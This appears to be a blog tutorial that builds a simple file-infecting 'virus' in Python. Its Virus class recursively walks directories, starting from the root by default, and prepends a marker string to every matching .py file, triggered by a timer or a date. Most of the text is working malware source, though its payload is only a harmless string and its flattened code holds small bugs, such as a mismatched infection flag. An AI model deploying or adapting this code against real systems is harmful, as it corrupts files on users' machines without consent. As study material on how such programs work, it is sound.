Sometimes we find our files being infected with a
computer virus. In this tutorial, we will get introduced to the concept of a virus by writing a simple one in Python.
First thing first, let’s get introduced to the definition of a computer virus. A virus is a typical malware program that infects a particular type of file or most files by injecting data or code. It tries to list files in all directories and then inject typical data/code in those files.
Point to be noted; a virus does not replicate itself. It just continuously infects all files in the directories/folders. The malware that replicates itself and consumes hard disk space is typically called a
If you are interested to write other types of malwares, you can go through my previous posts:
Okay, now, let’s get started writing one.
To write a simple virus, we will use the following modules.
import os import datetime import pathlib import time
os is the most important one as it will help us to list all the files along with the absolute path. An absolute path starts with the root directory
/. For example, if my current working directory is
Downloads and there is file named
hi.txt inside a subfolder named
absolute path: /Users/roy/Downloads/test_sub/hi.txt relative path: test_sub/hi.txt
Absolute path is necessary here as while working with numerous files you must know the exact location. Using filenames only, your script do not know where to look for that files.
Here, we use
pathlib to retrive the extension of a file. It can be done in multiple ways though, so you may not find this module necessary at all.
time is used only for the start time of execution. If you want the script to start working right now, you may not need these modules as well.
The initializer method
Now, lets create a virus class that accepts four arguments when it is called.
class Virus: def __init__(self, infect_string=None, path=None, \ extension=None, target_file_list=None): if isinstance(infect_string, type(None)): self.infect_string = "I am a Virus" else: self.infect_string = infect_string if isinstance(path, type(None)): self.path = "/" else: self.path = path if isinstance(extension, type(None)): self.extension = ".py" else: self.extension = extension if isinstance(target_file_list, type(None)): self.target_file_list =  else: self.target_file_list = target_file_list
infect_string will be used to insert in a file. If the user does not provide an input, the default value is “I am a Virus”.
By default the
path is set to be the root directory
/. From here, it will browse all subdirectories and files. However, the user can provide a target path as well.
User can define target file
extension. If not, the default is set to be python files
User can also provide the
target_file_list that conatains all the listed target files. If
None, the constructor method set it as an empty list.
Btw, if you are wondering that why the code looks a bit ugly, you can use the following as well.
class Virus: def __init__(self, infect_string="I am a Virus", path="/", \ extension=".py", target_file_list=): self.infect_string = infect_string self.path = path self.extension = extension self.target_file_list = target_file_list
I just prefer the earlier way to set all default values inside the constructor method. However, the latter is a lot easier to understand and use.
Method to list all target files
here we use another mthod named
list_files that lists all files within directories and subdirectories given an initial path.
def list_files(self, path): files_in_current_directory = os.listdir(path) for file in files_in_current_directory: # avoid hidden files/directories (start with dot (.)) if not file.startswith('.'): # get the full path absolute_path = os.path.join(path, file) # check the extension file_extension = pathlib.Path(absolute_path).suffix # check if it is a directory if os.path.isdir(absolute_path): self.target_file_list.extend(self.list_files(absolute_path)) # check if the target file extension matches elif file_extension == self.extension: is_infected = False with open(absolute_path) as f: for line in f: if self.infect_string in line: self.is_infected = True break if is_infected == False: self.target_file_list.append(absolute_path) else: pass
here, in the method we did the followings:
- list all files in the current working directory
- iterate over all files and do the followings
- only consider visible files (avoid hidden files, e.g., starts with dot
.in Unix-based systems)
- get the absolute path using
- retrieve the file extension using
- check if it is a directory using
os.path.isdir(if yes, call the same function and pass the path to continue digging deeper, in coding world it is called a
- Check if the extension matches with target extension (if yes, check whether it is already infected by looking for the string in the file; if string not found, append to the list).
- only consider visible files (avoid hidden files, e.g., starts with dot
Method to infect the files
Here, we will add another method that can infect (insert/prepend) the string in the given filename.
def infect(self, file_abs_path): if os.path.basename(file_abs_path) != "virus.py": try: f = open(file_abs_path, 'r') data = f.read() f.close() virus = open(file_abs_path, 'w') virus.write(self.infect_string + "\n" + data ) virus.close() except Exception as e: print(e) else: pass
To prepend the
self.infect_string, we first read the whole file and keep the contents in a variable
data; then add our string before the data and write to the file.
point to be noted, in this example as we are using python files, we need to exclude our own file, right? :zany_face:
that’s why I exclude the filename there in the very first condition.
Final method that integrates everything
Now, we can first define when to start our virus.
- Do you want to set a timer (e.g., 60 seconds), then provide input to the
timerwhile calling this method.
- Do you want to set a date (e.g., someone’s birthday), then provide input to the
target_datewhile calling this method.
And, then our primary mission begins.
- List all target files by calling the
- For each file, insert the string using the
okay, so, here is our code
def start_virus_infections(self, timer=None, target_date=None): if not isinstance(timer, type(None)): time.sleep(timer) self.list_files(self.path) for target in self.target_file_list: self.infect(target) elif not isinstance(target_date, type(None)): today = str(datetime.datetime.today())[:10] if str(target_date) == today: self.list_files(self.path) for target in self.target_file_list: self.infect(target) else: print("User must provide either a timer or a date using datetime.date()")
Now, let’s create our main function and run the code
if __name__ == "__main__": current_directory = os.path.abspath("") virus = Virus(path=current_directory) # virus.start_virus_infections(target_date=datetime.date(2021,6,1)) virus.start_virus_infections(timer=5) # print(virus.target_file_list)
Here, we first create an object of the class. And then call the
start_virus_infections method with providing a timer or a date. To avoid hassle, use
os.path.abspath(""), which refers to the current directory only so that you do not get hurt with inserting the string in other necessary python codes you wrote before.
To have a easier testing environment, create a few python files in the same directory and check if your virus is able to insert the string to those files. To make things easier, run the following code to create three python files (create a seperate script).
if __name__ == '__main__': filenames = ["test1.py", "test2.py", "test3.py"] data = 'print("hello")\n' for file in filenames: f = open(file, "w") f.write(data) f.close()
Both codes are available in GitHub.
that’s all folks, you can look at other security concept tutorials in python. I have created a repository for that. I am planning to provide security concepts by writing python codes. Please feel free to put a star if you like the repository.
Also, the associated blog post links are available in the
ReadMe file over there.
Have a good day! Cheers!!!